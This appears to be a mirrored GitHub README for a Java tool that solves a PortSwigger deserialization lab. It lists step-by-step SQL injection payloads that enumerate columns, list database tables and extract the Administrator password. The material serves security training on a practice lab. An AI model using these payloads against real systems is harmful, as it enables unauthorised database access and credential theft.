Giter VIP home page Giter VIP logo

pslab-java-deserialization's Introduction

pslab-Java-deserialization

This repository shows a kind of Java deserialization exploit for the PortSwigger deserialization Lab.

challenge link

Usage

  1. Download the commons-cli jar file into current path from apache.

  2. Compile the java file.

javac -cp ".;<your-jar-file-path>" Main.java
  1. Run the java file.
java -cp ".;<your-jar-file-path>" Main -i <your-sqli-payload>

sqli payloads

# step 1. Enumerate the number of columns
java -cp ".;commons-cli-1.5.0.jar" Main -i "'ORDER BY 8 --"
java -cp ".;commons-cli-1.5.0.jar" Main -i "'ORDER BY 9 --"

# step 2. Determine the data type of each column

java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT null, null, null, null, null, null, null, null --"
java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT 1, null, null, null, null, null, null, null --"
java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT null, null, null, null, 1, null, null, null --"

# step 3. List the content of database
java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT NULL,NULL,NULL,NULL,CAST(table_name AS numeric),null,null,null from information_schema.tables --"
java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT NULL,NULL,NULL,NULL, CAST(column_name AS numeric) ,null,null,null from information_schema.columns WHERE table_name='users' -- "
java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT NULL,NULL,NULL,NULL, CAST(column_name AS numeric) ,null,null,null from information_schema.columns WHERE table_name='users' and column_name != 'username' -- "

# step 4. Use a suitable SQL injection payload to extract the password from the users table
java -cp ".;commons-cli-1.5.0.jar" Main -i "'UNION SELECT NULL,NULL,NULL,NULL, CAST(password AS numeric) ,null,null,null from users WHERE username='Administrator' -- "

pslab-java-deserialization's People

Contributors

nishikinor avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.